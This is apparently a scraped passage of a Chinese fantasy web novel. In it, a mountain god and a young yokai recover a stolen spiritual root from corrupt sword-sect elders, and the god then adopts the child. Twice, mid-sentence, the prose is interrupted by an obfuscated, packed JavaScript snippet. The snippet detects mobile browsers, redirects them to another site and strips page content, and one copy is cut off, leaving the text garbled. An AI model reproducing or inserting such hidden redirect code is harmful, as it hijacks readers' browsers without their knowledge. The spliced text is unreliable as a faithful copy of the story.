“这……咳咳、这是……” 闻人声这会儿不用再拿剑,像自动吸附似的重新抱住了和慕的腿,警惕地看着尘敛。 “听不懂你说的。” 闻人声冲着尘敛做了个很凶的表情。 尘敛咬了咬牙,愤怒地看着闻人声。 他讨厌这个不知好歹的小妖怪,尤其讨厌看见他身边站着除了自己以外的其他人。 这三年他总是变着法子欺负闻人声,一旦见到有和闻人声亲近的人或者妖怪,尘敛就会想方设法把他们赶走。 他见不得闻人声跟任何人要好。 但眼下这个…… 尘敛看了一眼闻人声身旁的和慕。 可不是他能对付得过来的。 尘敛咬着齿关,双指往色杀上轻轻推去,剑刃默许后,他这才得以完整地呼吸一回。 和慕对尘敛那些低劣的想法并无兴趣,他直接切入主题:“你房间里为什么还藏了一个人?” “这是我父亲,”尘敛沉重地呼吸着,也不隐瞒,“无涤。” 闻人声说:“你父亲也叫无敌?跟剑宗那个老头的名字一样。” “你……!” 尘敛刚想开口骂人,和慕眉头微微一蹙,色杀便像是威胁一般再度迫近了尘敛的颈侧。 尘敛自然解读出了这种无声的警告,他话语戛然而止,随后深吸一口气,有气无力地解释道: “不是我父亲也叫无敌,而是无涤、归一剑宗的长老,就是我父亲。” 听到尘敛这句话,和慕心下便了然了。 他白日里强闯归一剑宗时就有所发现,这好歹是湘城第一宗派,可里边从弟子到长老竟俱是同一幅烂泥扶不上墙的作派,实在诡异。 料想,那时他刺伤的“无涤”不过是个冒牌货。 而眼下这个藤椅上这把不人不鬼的白骨,才是真正的剑宗长老,无涤。 一旁的闻人声小声嘟囔:“难怪呢。” 一个骗取他的灵根,一个独吞他的灵根,对于他们是“家人”这一点,闻人声完全没有任何怀疑。 要是家人是尘敛这样的,闻人声宁愿一直孤身一人。 尘敛听到这话,齿间泄出两声嗤笑,他抬眼看向闻人声,迟缓道:“你倒是……” “废话就不必多说了。” 和慕很快就没了耐心,他将色杀收回掌心,翻腕甩了一道剑气出去。 这剑气是直接冲着身后的无涤而去的。 它速度已经超越了肉眼能看清的程度,几乎在下一个眨眼的同时,剑气已经将无涤的肉身、连带着那把藤椅的椅背都削作了两半。 闻人声又胆小又好奇,他一只手挡着脸,从自己的指缝处偷偷看向无涤。 本以为是什么血腥场面,熟料这人被拦腰斩断后,竟是连一滴血都没洒出来! 更骇人的是,闻人声分明瞧见,那人腰腹断裂之处连接着几道绿荧荧的幽光,仿佛是什么植物的根茎,正飞速地将两部分身体重新编织到一起去。 “!” 闻人声惊呼一声,立刻像小鸟一样把脑袋埋入了和慕的怀里。 什么东西?! 和慕似是早有预料,他顺手抚摸了两下闻人声的后颈,缓声解释道: “我方才说‘他’非生非灭,非人非鬼,是因为这东西已经算不上是活物了。” 这就是为什么闻人声第一次晃动三清铃时,始终没有声音发出来。 天庭只对生灵和死物负责,无涤这种非生非死之物,是不归他们管的。 而第二次摇铃会响,多半是因为尘敛踏入了这个空间里,三清铃所下的杀业通牒,是允许和慕诛杀尘敛的。 闻人声闷头抱着和慕,头也不敢抬:“不是人,不是鬼,那他到底是什么?” 和慕笑了笑,目光重新放到对面的尘敛身上。 “这就要问他这位亲儿子了。” 尘敛见到和慕还是有些后怕,先前识海险些破裂的苦痛记忆犹新。 面对神格,他纵然心有不甘,但还是咬着牙低垂下眸,避开了与和慕的对视。 他低声应道:“我爹,已经成为了灵根本身。” 听到这个答案,闻人声的身形一僵,随后终于从和慕的怀抱里缓缓抬起头,表情疑惑地看向和慕。 人,也可以成为灵根吗? 那自己的灵根还有机会能拿回来吗? 和慕知道他要说什么,他摸了摸闻人声的头,冲尘敛抬了抬下巴,道: “继续说。” 尘敛抿了抿唇,拖着步子擦过二人,走到半死不活的无涤面前,颤颤巍巍地跪了下来。 “我爹也是个杂灵根,”他说,“侥幸入道后刻苦修炼,一直遥遥领先同辈人,是剑宗人人敬仰的大师兄。” “可到了大乘期这一步,因为天资不够,他始终没办法突破境界,只能眼睁睁看着同门的天才一点点进步,最后一个个地超越他这个‘师兄’。” “偶然一次,他受到了高人指点,说是芳泽山灵力丰沛,妖物常年受到滋养,或可取其灵根,用以洗净根骨,突破……咳咳、突破境界……” 听到这里,闻人声也慢慢松开了怀抱。 他转而握住了和慕的一根手指,神色复杂地望向尘敛。 尘敛抹了一把唇角的血,继续说:“他位高权重,只能靠我这个儿子去探探前路,我起先不愿意,但挨他一顿毒打后,也只能咬着牙上山。” “我遇到的第一只妖,” 说到这里,尘敛偏头看了一眼闻人声,说, “就是你,闻人声。” 后来的故事,闻人声也就知道得差不多了,他被尘敛借着“家人”的名头骗出芳泽山结界,在归一剑宗、这间破房子里,险些丢了性命。 可纵是如此,太多的疑点依旧叫闻人声一头雾水。 他忍不住问道:“但你已经把我的一半灵根给他了,为什么他还会变成这个样子?” 听到这个问题,尘敛嗤笑了一声,反问道:“你……真的不知道?” “不知道。” 闻人声摇摇头,诚实道。 “因为你的灵根,”和慕替他回答,“单灵根之中,只有一种灵根拥有这样吞并其他自然之气的能力。” 闻人声很久没下过山,对这些修真界的只是知之甚少,不明白灵根能吞并自然之气是什么概念。 但和慕不同,他第一次探向他的灵根时,就已经有所察觉了。 而一直到刚刚看到无涤的异状,他才确定了心中的那个猜想。 闻人声体内被剖去一半的,是天灵根。 虽然闻人声灵力低微得像张薄纸,可普通修士哪有灵根丢失了一半,还能正常运转周天、调动灵力的? 大多是残了废了,苟延残喘几年后就与世长辞了。 可闻人声非但好好活着,甚至还能用出精妙的化形术,一整天都不暴露原型。 除了天灵根,没有其他属性的灵根能做到。 “所有的灵根都是经过‘引气入体’和‘炼气’两个阶段后,在身体内后天形成的,”和慕说,“灵根就是自然之‘气’的凝聚物。” “但这其中,只有天灵根不一样。” 与其说是“自然之气”的凝聚体,天灵根更像是“自然”本身。 无需后天炼化,更不必刻苦修行,天灵根的持有者哪怕只是躺着呼呼大睡,境界也能不费吹灰之力地提升。 不光如此,神兵神武、天材地宝,所有与“气”有关的自然之物,都会发自本能地去趋近天灵根。 这也就解释了为什么色杀会对闻人声如此亲近。 闻人声听得一愣一愣,他顿了好一会儿,这才悠悠问出一句:“总之,就是我特别特别厉害?” 和慕笑了笑说:“我以为你早就知 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听完这番陈情,和慕勾了勾手,一缕灵力飘入腰侧的那把闻人声亲手雕的“天下第一神剑”。 木剑很快颤动两下,随后悬浮起来,飘到了和慕面前,剑尖飞旋着指向尘敛的脖颈。 “他逼你做伥,如今一命归西,你可痛快?” 闻人声也正了正色,他双手握着重新缩小的色杀,表情分外严肃地看向尘敛。 那边的尘敛沉默良久,摇了摇头,自顾自地说: “怎么说呢?” 尘敛吃力地仰起头,看向无涤那张丑陋、扭曲、苍白的脸。 “这种感觉大概就像……” 像什么? 三年来的每个日夜,他都在反复咀嚼这种情感。 每次踏上芳泽山、去找那个瘦小的身影时,他都要把这份心境生剖出来,近乎自虐地品味个中滋味。 而如今,看到闻人声与和慕站在这里,他也终于明白那些痛苦的根源。 “像不甘心。” 尘敛低笑了两声。 不甘心,永远得不到任何人的注视。 说完这句,他忽然把齿关咬得咯咯直响,眼尾都被愤怒拉扯得几乎形变。 他的眼神近乎扭曲地看向闻人声。 “你的也好,他的也好……” “我永远都得不到!” “在我爹眼里,我甚至还没有你的天灵根重要!我就是废物!满意了吧?!” 他嘶吼着喊出了这句话,随后爬起身,以惊人的速度飞扑向无涤,二人连带着那把藤椅双双往后跌去。 尘敛全然不顾自己狼狈的姿态,他红着眼睛,抬手一把将无涤的脖颈往一旁折断开来。 这突如其来的一幕看得闻人声目瞪口呆,他后退半步,震惊道: “他突然怎么了!” 话音刚落,只见那尘敛张开双齿,对准无涤的脖颈处,竟是直接俯身啃咬了上去! 和慕神色一凛,他当即扬起手,身侧的木剑顷刻飞出,以极快的速度扎入尘敛的后颈。 只听“噗嗤”一声,这木剑的力道竟如一枚瓦钉,一连贯穿两道肉身,将他们父子二人狠狠钉在了地面。 做完这些,他一只手提溜起闻人声的后领,点地急退数步,眨眼间跃出了尘敛的厢房。 一到地域开阔处,和慕就翻身跃上一座屋顶,小心地将怀里的闻人声放了下来。 “他吃了天灵根,”和慕单手伏住地面,冷静道,“暂时会疯魔一段时间,为了完整保下天灵根,我要与他周旋一段时间,你……” 话还没说完,便听到身旁传来一声虚弱的低吟。 和慕神色一变,他循声望向闻人声,金色的瞳孔顿时缩紧。 化形术不知何时已经被解除了,方才还生龙活虎的闻人声此刻忽然像被抽干了力气,跌到在房檐边缘,屈身紧紧抱着自己的绒尾。 他双唇微张,短促地送着气,苍白的脸上洇出了几点细汗,连嘴唇都泛出了青灰。 瘦弱的身躯蜷缩在一起,像是不堪折的雪中花,被风随意吹动一下就会簌簌碎落。 这样脆弱的生命,他已经很久都没有见到过了。 和慕微微蹙眉,伸出的手僵滞在半空,竟是不敢触碰。 11.我不会把 闻人声的心脏被抽成丝的灵力收绞起来,发着刀割一样的剧痛。 他身体热得厉害,脑袋里混沌一片,全然没有发现自己的狼耳狼尾已经暴露了出来。 意识恍惚间,他只感觉有人拿冰凉的手背贴了贴他的脸颊。 闻人声松开尾巴,不自觉地抓住那只手抱进怀里,想依赖这抹凉意。 触碰他的人明显身形一顿,随后便匆忙地抽出手来,把闻人声的尾巴重新塞回他怀里,又在他身边“哐当”一声留下了什么东西。 后来,闻人声就陷入了昏睡当中。 不过他的身体却没那么燥热了,周身有一股似有若无的清凉包裹着他,叫他整个人像是睡在柔软的云层里,心脏的痛感也很快就消失了。 他的表情舒展开来,呼吸也平稳了不少,慢慢进入了安眠的状态。 * 另一边。 和慕将色杀留在闻人声身边护法后,独身跃下屋顶,召回了方才扔出去的“天下第一神剑”。 吃了天灵根的尘敛很快就重获自由,他的行动速度比先前快了十倍有余,几乎就在木剑回到和慕手中的同时,尘敛的掌风就已经抢到了和慕跟前。 和慕偏头躲过,却不进攻,只是绕着剑宗的道场步步周旋。 若换做平时,压根不需要这么麻烦,和慕即便是拿根树枝也能直接把尘敛捅个对穿。 可现在尘敛吞下了天灵根的一部分,身体也暂时被天灵根同化,看方才闻人声不舒服的模样,恐怕此时天灵根受到的伤害会同步返还给闻人声。 这小孩身体忒娇气了,受点儿疼估计就要哭,眼泪还会啪嗒啪嗒掉个不停。 和慕暂时还没有恶劣到会故意惹哭一个小孩。 “尘敛,”和慕抽回意识,看向面前的尘敛,冷声道,“你脏器和经脉已经坏了大半,垂死挣扎无用,现在好好回答我的问题,还能死得有些价值。” 吞了天灵跟的尘敛已然泯灭了大部分的神识,连瞳仁都是翻白的,他一边胡乱出着招势,一边不停喃喃着什么“天灵根”“去死”“不要”,看着三魂七魄已经走了一半。 这幅样子,再追问什么都是无用。 和慕暗啧一声,道:“也罢……通牒已下,你这杂碎的命逃不掉。” 他一边化解尘敛毫无章法的攻势,一边琢磨着天灵根同化结束的时机,准备一招制胜。 二人打架的场面不小,尤其在和慕释放了神格之后,甚至引动了天象,狂风沛然倒灌,原本一片通明的中堂烛火骤灭。 在中堂议事的其他长老很快就被惊动了。 一群人脚步匆匆,手忙脚乱地推开了中堂大门。 一望见尘敛与和慕打得惊天动地,几人又止步在门口,怎么也不敢往前了。 其中一个白髯的长老甩了甩袖,当即甩了个巴掌给身旁小徒弟,低声斥骂道: “不是叫你锁好门吗?怎么把他放出来了?!” 那徒弟支支吾吾道:“我、我也不知道啊??师父,尘师兄好像不大对劲吧,我记得他是个杂灵根,怎么可能跟苍玉……呸、跟山神打得有来有回?” “啧,”白髯长老脸上露出嫌恶之色,“你真以为那废物能有出息?跟他爹一样,贪图天灵根,尝一时之快罢了。” 白日里那个假“无涤”此刻也走了出来,他肩上伤口处还绑着厚厚一层白布,相貌不变,却已然没有先前那副一点就炸的毛躁样子。 他拉开白髯长老和徒弟二人,慢悠悠地说:“急什么,这不是挺好的?” 白髯长老翻了个白眼:“好什么?” 冒牌“无涤”捋了捋胡子,语调平和:“尘敛这回惹到了山神,已有取死之道,我们也不必从旁出力。” “我暂且设计将他的五感隔绝,过会儿你我去将另一半天灵根回收……岂非坐收渔利?” 白髯长老“哼”了一声,问:“另一半天灵根如今在哪?” 冒牌“无涤”没有答话。 他眯起眼,目光越过道场,看向了不远处房顶上的闻人声。 而在闻人声的身后,一大片黑云压上翘脚飞檐,将天际染成了无边墨色。 风声呼啸着灌满亭台楼阁,似乎随时要大降一场暴雨。 * 啪嗒。 一滴雨落到闻人声的脸颊上,顺着轮廓缓缓滑落至耳垂边缘。 “汪呜——” 耳边隐隐传来一声犬吠,引得闻人声睫羽颤动了一下。 他的意识渐渐从睡梦中回笼,耳边模糊的声音也由远及近、逐渐清晰起来。 闻人声感觉自己做了个长长的美梦,他揉了揉眼睛坐起身,这才发现自己躺在房顶的砖瓦上睡了一觉。 “汪!” 那声犬吠再度传入耳中,闻人声低头一看,檐下有只护院犬正冲他甩着尾巴。 是分他包子的那只护院犬,方才叫醒自己的就是它。 闻人声欣喜地冲那只狗挥了挥手,卖力大喊道:“谢谢你叫醒我!” 话音刚落,只听一阵轰然巨响,那只狗的身侧陡然暴起一尾飞尘。 随后,在闻人声的目光里,一个人形物被狠狠地砸向了墙面! 闻人声睁大眼睛,连忙张望过去。 可雾气太厚,即便是闻人声的目力也只能看清一个模糊的轮廓。 正当他眯起眼睛,想瞧得更清楚些时,一道鲜红的色彩忽然飘过眼前,一下子带走了闻人声的视线。 他顺着这抹红色望过去,很快就瞧见了道场中心的红色披挂。 “山神!”闻人声喜出望外,用力地朝和慕挥手,“我在这里!” 可和慕似乎听不见他的声音,他转了转手腕,“天下第一神剑”自背后绕过,直往沙尘中心穿去。 木剑很快就将其中的人影提了出来,摔至和慕跟前。 闻人声定睛一看,是被揍得鼻青脸肿的尘敛。 尘敛被天灵根同化的时效过去后,和慕就一点儿没留情面,拳拳到肉,直接把他打昏死了过去。 闻人声看得眼睛都亮了,他趴在屋顶边缘,看着自己亲手雕出来的木剑被山神用得游刃有余,忍不住兴奋地举手欢呼起来。 “天下第一神剑!万岁!” 是他亲手做出来的! 可还没高兴一会儿,闻人声便注意到和慕周身聚集了一大帮修士,几乎每个人手里都拿着一把剑,似乎随时准备冲上去与和慕厮杀起来。 不好,山神被包围了! 闻人声连忙收起高兴的神色,他爬到屋檐处,正翻身想要跃下,却被一股无形的力道给弹了回去,“哎哟”一声摔了个屁股朝天。 “好痛!”闻人声瘪起嘴,嘟囔道,“什么东西啊……” 此话一出,方才一直安静待着的色杀终于悬浮起来,慢悠悠地飘到了闻人声的视野里。 闻人声这才发现,色杀护手处的灵力丝线不知何时暴涨了好几倍,绕着自己团团缠起,把他包成了一个茧。 这是和慕临走前下的命令,要色杀张开结界,好好护住闻人声。 闻人声连忙爬起身抓住色杀的剑柄。 “可以让我出去吗?”他请求道,“他们人那么多,我要去帮山神的忙。” 色杀没有关掉结界,无声地表示了拒绝。 闻人声顿时一慌。 完了完了,这把剑突然就不听话了! 这该怎么办?要哄好它吗? 他赶紧低头翻了翻自己的包袱,拿了一大堆宝贝出来,挨个码到色杀面前。 “你放我出去,这些都给你,”他眨着眼睛,撒娇道,“不够的话,等我出去再帮你找宝贝,求你啦。” 色杀什么话也不说。 闻人声没想到自己都把全身家当给拿出来了,这把剑还是不为所动。 低头一看下边,和慕已经踩着尘敛的脑袋,三指扯线,开始从他背后抽取灵根了。 四周的埋伏也越压越深,可和慕却忽然像是五感尽失一般,全然不为所动。 再这样下去,山神万一被打死怎么办?! 闻人声急得捂住脸,原地转了好几圈。 恰在此时,房顶处悠悠落下两道蓝白袍的身影。 闻人声停下动作,抱起色杀仰头看去,是两个长得很不好看的老头子。 其中一个他认识,是“无涤”,但是个冒牌货。 另一个白髯的老头他就没有见过了,但这人搭着臂膀,正怒气冲冲地盯着自己看,仿佛自己与他有什么深仇大怨似的。 “天灵根,就是这个小孩?”白髯老头嗤笑一声,说,“无涤这废物,花三年也搞不定一个小孩吗?” 冒牌“无涤”笑了笑,说:“别这么说啊,芳泽山有山神的结界,这小妖怪躲在山上一日不出来,我们就拿他没办法。” “不过……”他顿了顿,意味深长道,“现在就不一样了。” 闻人声的嗅觉很敏锐,立刻意识到这两个老头不是什么善茬。 他双瞳收成一线,立刻握持住色杀的剑柄,警惕地望向二人。 “不要过来,”闻人声威胁道,“我手里这把可是山神的剑。” 白髯老头嗤笑一声,说:“牙口都没长齐,会用什么剑?” 闻人声听不懂这家伙口中的阴阳怪气,他舌尖舔了舔了自己的尖牙,在心里嘀咕道。 明明就长齐了。 不仅长齐了,还很锋利,足够用来保护自己。 那冒牌“无涤”眯起眼笑了笑,扬扬手道:“毕竟是飞升者用的剑,一会儿若是山神注意到这里,我们也不是对手。” 闻人声轻哼了一声:“知道就行。” “不过嘛……” 冒牌“无涤”眼中笑意更深,他话锋一转, “方才趁他酣战时,我暂时设法屏蔽了他的五感,这点时间,我们两个大乘期够解决你了。” 说罢,二人齐齐召出佩剑,极快地架出剑势,点地直朝闻人声冲来。 “只要取到你的天灵根,”冒牌“无涤”喊道,“再与无涤师兄相融,这灵根便能完好无损地留在剑宗!” “跟他一个小孩废什么话!” 白髯大喝一声,剑刃“当”地一声直接砍上结界。 !! 闻人声顿时感觉身遭的空气都震颤了一下。 他睁大眼睛,往后退了半步,拿剑的手又开始不自觉地发抖起来。 结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白髯长老额角再度青筋暴跳,他怒喝一声,干脆把剑当作了砍刀用,双手奋力抓着剑柄,往头顶一扬。 闻人声对上他的目光,双唇微启,轻轻地吐落一字: “收。” 这一字落下后,构成那枚“茧”的丝线瞬间抽回至色杀的护手处,坚固到不可撼动的结界因闻人声的一念,顷刻崩塌。 白髯的动作正巧停在扬剑阶段,他见结界消失,更是兴奋地往下斩去。 然而,就在刀口即将砍到闻人声头发上时,从色杀剑中猝然爆发出一阵光芒。 闻人声跨开一步,蓄力将色杀收至剑后半寸之位,意念全部凝聚于一点—— 待到所有的灵力汇聚到即将爆炸的程度,全力挥出了一道剑气! 那白髯的老头还来不及震惊,整个人便被剑气的辉光拦腰斩作两截,“噗嗤”一声,血雾翻飞。 堂堂大乘期的剑修,竟在稚子的剑下一命呜呼! 成功了! 剑气的光芒几乎照亮了半顷天空,其力量之大,甚至把闻人声本人都往后吹了好几里。 在剑气落下的一瞬间,闻人声浑身上下的力气都被抽得一干二净,他往后咕噜滚了两圈,直接从房檐处摔了下去。 成功了,但是……要摔死了! 闻人声连抓住空气的力气都没有了,他松开手里的色杀,望着黑压压的天空,手无力地挥动了一下。 可到了这种时候,求生欲望再强烈也是无济于事,闻人声的视线依旧无法控制地渐趋模糊起来。 “救……” 他咬住齿关,气若游丝地说。 “命。” 这里有多高? 不会摔骨折吧?那得疼死了。 应该抱住头再摔下去的…… 不对,应该、呃…… …… 正当闻人声意识混沌,即将昏死过去时,他依稀感觉到自己落入了一个怀抱。 这怀抱不怎么舒服,满是血腥味,自己脸颊边上还被冷硬的铠铁给咯着,让人感觉躺在一块棺材板里。 耳畔还隐隐能听到对方带着叹息的话语: “色杀的结界哪怕是大罗金仙来了也斩不开,怎么就被你自己给收去了……” “唉,罢了,接下来的事情都交给我。” “好好睡吧,声声。” “……” 好像是山神在说话。 虽然不舒服,但不知怎地,闻人声就是觉得很安心。 紧绷的身体也在一瞬间放松了下来,像是终于找到了安憩之地。 闻人声侧过身,重新把自己蜷缩成了一小团,紧紧依偎在这个人的怀抱里。 不过,哪怕是昏睡的时候,他也没忘记自己心头牵挂的那件事。 “一定要……” 他带着气音,轻轻地梦呓, “和山神……成为……家人……” 12.什么上学 数九寒天一过,芳泽山的雪就渐渐消融了。 闻人声记得自己来芳泽山第一年的冬天,是待在兔子窝里过冬的。 那些兔子总是喜欢窝在一起睡,闻人声那时年纪还小,也不爱说话,就自己找个小角落卷着尾巴睡。 但每次醒来之后,闻人声都会发现身边围着一大群毛茸茸的兔子,热得他浑身的毛都贴起来了。 “唔……” 现在闻人声就是这种感觉。 身上像被毛毯一样的东西给裹成一团了,怎么也动弹不了,恍惚间他还以为自己回到了兔子窝里的那个小角落,一会儿醒来后还要跟着族长去草地里觅食。 “想吃……包子……” 闻人声闭着眼翻了个身,含糊地嘟囔道。 “这么馋啊?”耳边依稀听到一个年轻的声音回应他,“想吃几个?” 闻人声觉得自己已经闻到面皮和肉馅的香气了,他双手抓住被褥,慢吞吞地回答:“……好几个。” 答完这句,闻人声便听到身边人轻轻地叹息了一声,说道:“那是不是该起床了?再睡下去就吃不上了哦。” ……醒来? 闻人声嗫嚅了一下。 对了,他还在睡觉呢。 之前在归一剑宗孤军奋战,一下子对付两个剑修,他又是第一次用剑,才挥出一剑灵力就透支得差不多了。 努力过后,当然得好好睡一觉补充一下体力了,即便是道法通天的山神也做不到连轴转。 不过…… 说起来,他是不是忘记了什么事情? “……” “啊!” 闻人声猛地睁开眼。 “天灵根,还没有拿回来!” 视野中霎时间闯入和煦的日光,闪得闻人声眼睛都疼了一下,他赶紧捂住眼睛,平稳了一下骤然惊醒后起伏不停的心跳。 糟了糟了,把那个剑修击退之后,他就因为体力透支而晕厥过去了,后边的事情什么也不记得了。 闻人声的手胡乱在床边摸了摸。 色杀不见了,还有、还有,山神怎么样了?他突出重围了吗? 自己现在这又是在哪儿? 刚醒来的闻人声简直一头雾水,他瞳孔都没怎么聚焦,只来得及仓皇地四下张望了一圈。 他似乎正处于某座禅院的寮房中,近处是青砖铺就的地面,素白的墙上挂着几幅笔法古拙的写意画,门外还依稀能见到几枚焚经炉,正扬着袅袅青烟。 房间里还焚着淡淡的木质香,很好闻。 闻人声的瞳孔慢慢聚焦起来,只是意识还尚未反应过来,整个人都显得呆愣愣的。 “终于醒了?” 睡梦中和自己对话的那个声音再度响起。 闻人声连忙侧过身看向榻边,果然瞧见了那个熟悉的身影。 “刚好是你睡着的第八天,恭喜苏醒。” 和慕冲闻人声点了点头,表示认可。 他已经把身上的劲身轻铠和红色披挂给换去了,现在穿了身束腰的黑白道袍,马尾随意挽着,看着平易近人许多。 见到和慕,闻人声脸上的茫然终于褪下,他流露出欣喜的神色,当即掀开被褥坐到床边,仰头乖巧地看着他。 “这里是哪儿?” “嗯……”和慕摸着下巴琢磨了会儿,说道,“我家?” “你家。”闻人声重复道。 那就是芳泽山的神庙吧? 他远远地望见过很多回,甚至还鼓起勇气靠近过一次。 他记得神庙的门长什么样子,常年累月的风霜积淀在那两枚门环上,把铜铁染得苍白无光,应该是个很破的地方。 没想到里面竟然这么新、这么干净。 闻人声还从没住过这么好的地方呢。 他高兴地摸了摸身下软乎乎的被褥,说道:“山神的家好漂亮。” “我说你啊……”和慕却叹了口气,说,“怎么不多关心关心自己?” 闻人声不解地歪了歪头:“什么意思?” 和慕啧声道:“刚见面的时候,你穿的那衣服是从山上捡来的吧?我替你收拾东西的时候,发现那衣服至少破了五六个洞。” 他搭着臂比划了一下,一边摇头道:“当人要受这么多苦,你何必呢?” 闻人声没听出他的言外之意,他低头一看,这才发现自己身上的破烂布衫已经被换成面料舒服的里衣。 不仅如此,床尾处还整齐地叠好了一套鎏金纹样的衣袍,是他从来没见过的样式。 “这是……”闻人声惊讶道,“谁的衣服呀?” “你说呢?”和慕挑了挑眉,“这里可只有你一个小孩。” !! 也就是说,这是山神送给他的礼物! 闻人声眼里顿时散发出熠熠光芒,当即想爬下床去试试自己的新衣服。 然而动作做了一半,闻人声却又忽然想起了什么事情,热情顿时灭了个干净。 他安静地坐回床边,什么话也不说。 和慕还没摸清楚小孩的心思,他见闻人声前一秒还高兴得像只小麻雀,这会儿又突然安静起来,还以为是他身体又不舒服了。 他于是半跪下来,关心道:“怎么了声声,不舒服吗?” 闻人声乖巧地摇摇头,说:“没有不舒服。” 和慕疑惑道:“那怎么突然不高兴了?” 闻人声脸上泛起红晕,他避开和慕的目光,小心翼翼地说:“山神把天灵根取回来了吗?” 和慕点头道:“嗯,暂时放在乾坤袖里了,等你身体恢复好一些,我再替你渡进体内。” 闻人声说:“那……山神这次的任务已经完成了吧?” 和慕“嗯”了一声,他似乎察觉到闻人声想要说什么,唇角微微勾起一个弧度。 闻人声不自然地晃着腿,扭捏地说: “那、那你答应我的事情……” 还没等闻人声说完,和慕就捧起他的脸,凑近说道:“我记得。” “你想要家人,对不对?” 听到这句话,闻人声瞬间鼻子一酸。 藏在心底所有的委屈和不开心好像都在此刻濒临溃堤,他水蓝色的眼瞳里凝起一层薄薄的水雾,稍不小心就会没出息地落下泪来。 闻人声眼泪汪汪地看着和慕,声音可怜地“嗯”了一声。 和慕见他委屈,不知怎地,心脏都有些化开的感觉。 他松开手,把闻人声的头发往耳后捋,柔声道:“那你愿不愿意让我收养你?” 收养…… 那就是、就是成为、家家家家……家人…… 闻人声的脸蛋瞬间红得像熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16513001|185282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透的桃子,他连忙抬手捂住自己烫呼呼的脸颊,狠狠低头看自己的脚尖。 “愿……” 声音轻得像小狗叫唤。 “嗯?”和慕故意装作听不清的样子,“不愿意?” “没有!”闻人声连忙抬起头,急声道,“愿意的,特别特别愿意!” 情绪一激动,闻人声的眼泪就没能蓄住,剔透的泪珠顿时滑过脸颊滚落下来。 他嫌自己这样太丢人,连忙抬起手臂,想拿衣服擦一擦眼泪。 可还没擦上,和慕就抓住了他的手臂轻轻按下,转而用自己的指腹抹开了闻人声的泪痕。 “我没有与人共同生活过的经历,先前你同我说想找到家人,我便没考虑自己,”和慕说,“你若是早些说,我便直接答应你了。” 闻人声昏睡过去的那几天,和慕不光在山下置办了些衣物,还仔细收拾了闻人声那个破破烂烂的小包袱。 他先是把那件闻人声自己缝的披挂拿出来晾了晾,接着把包袱里的小垃圾尽数给倒了出来。 那堆东西大多是闻人声从山上捡的蝴蝶和虫子,其中只有一物不一样,是个歪歪扭扭的泥人。 和慕把泥人翻过来,发现背后还用笨拙的字迹刻了一行“苍玉真君”。 这捏的居然是他本人。 虽然和慕很不愿意承认,但多少看出来了,这个小孩很是崇拜他,还经常来神庙远远地替他祈福,帮他攒了不少的功德。 这么乖的小孩,很难不会让人心软。 闻人声哭得有点儿噎气,他缓了好一会儿才能正常说话。 “我不敢说,”闻人声抽着气回答,“我感觉你会不答应,那我就会不开心,不开心的话就不能好好地帮忙了。” 他虽然年纪小,但情绪却格外敏感,哪怕是一句无关紧要的话,他都会忍不住多想。 和慕摸了摸他的脑袋,笑道:“好了,伤心的事情就不要再想了,你昏睡的这几天,我把剑宗的事情报了上去,跟天庭提请了暂留下界清理门户,这段时间我们就住在芳泽山,如何?” 闻人声用力地点了点头:“嗯!我会认真学法术的!” 和慕于是站起身,把床尾的新衣袍搁到闻人声的膝盖上,自己则抬脚提了把椅子做到闻人声对面。 “不过你是怎么说动色杀打开结界,又怎么靠自己把一个大乘期的修士杀掉的?”和慕搀起脸,问道,“很厉害啊,只有一半灵根就能用出色杀三成的力量了。” 闻人声抖开衣袍跳下床,一边穿衣服,一边回答道:“就是跟他说了一下,然后他就同意了。” “不过我用剑的时候,感觉身体特别轻,”衣服穿到一半,闻人声忍不住开始比划起来,“然后就感觉,自己好像灵魂出窍了一样,力气也变得特别大,我就这样——这样一挥剑,就把剑气打出去了!” 看着他拖着穿了一半的衣服手舞足蹈,和慕忍不住挡着脸笑起来。 “哦,这么厉害啊,”他边笑边说,“也是,天灵根的潜力是无限的,你能做到很多人都不做不到的事情。” 闻人声都被夸得脸红了,他心中雀跃,故意闷着声音不说话,把新衣服给穿好了。 “不过——” 和慕话锋一转,似笑非笑地看着闻人声,缓缓道, “你这个年纪,该要读书了吧?” 13.好爱蹭人 “啊?” 闻人声像是没听懂似地,重复道, “读书?” 闻人声是住在山上的妖怪,山上可没有什么先生教书的地方,何况他已经三年都没有下山了,连话本都是拿以前的翻了又翻。 可以说,闻人声现在完全是文盲的程度。 “你不是想当大侠么?”和慕搀着脸看他,“那就先入江湖,再修道。” 说完,他就拣起挂在腰间的一把白色臂缚,示意闻人声伸手过来。 闻人声于是乖乖地把双手伸到和慕面前。 和慕接过他的手,撩开衣袍的袖子,从小臂处替他慢慢缠起臂缚。 他一边缠,一边说道:“江湖上的行侠仗义者、除暴安良者,多也是满腹学识,鲜少有目不识丁的匹夫,你想当大侠,就必须要读书。” 闻人声低头看着和慕的动作,他有些怕痒,手指稍稍蜷曲了一下。 “我看过很多话本,”闻人声小心翼翼地问,“这样算读过很多书吗?” 和慕说:“当然不算。” 那完了,他是一个文盲。 闻人声悲伤地想。 他顿时瘪起嘴,像个犯了错的孩子,一声也不吭。 和慕埋头将臂缚缠满闻人声半个手心,剪断束好,这才抬头,发现了情绪低落的闻人声。 “不开心了?”和慕忍不住笑道,“因为不想读书?” 闻人声掰着自己的手指,艰难算道:“那我从现在开始读书,每天都去山下的书院,然后学一年,一年就是……三百……” 他叽里咕噜地算了好久,又忽然抬头看向和慕,向他投去求助的目光。 “学一年,这样够吗?”闻人声可怜兮兮地说,“我想快点成为大侠。” “想什么呢。” 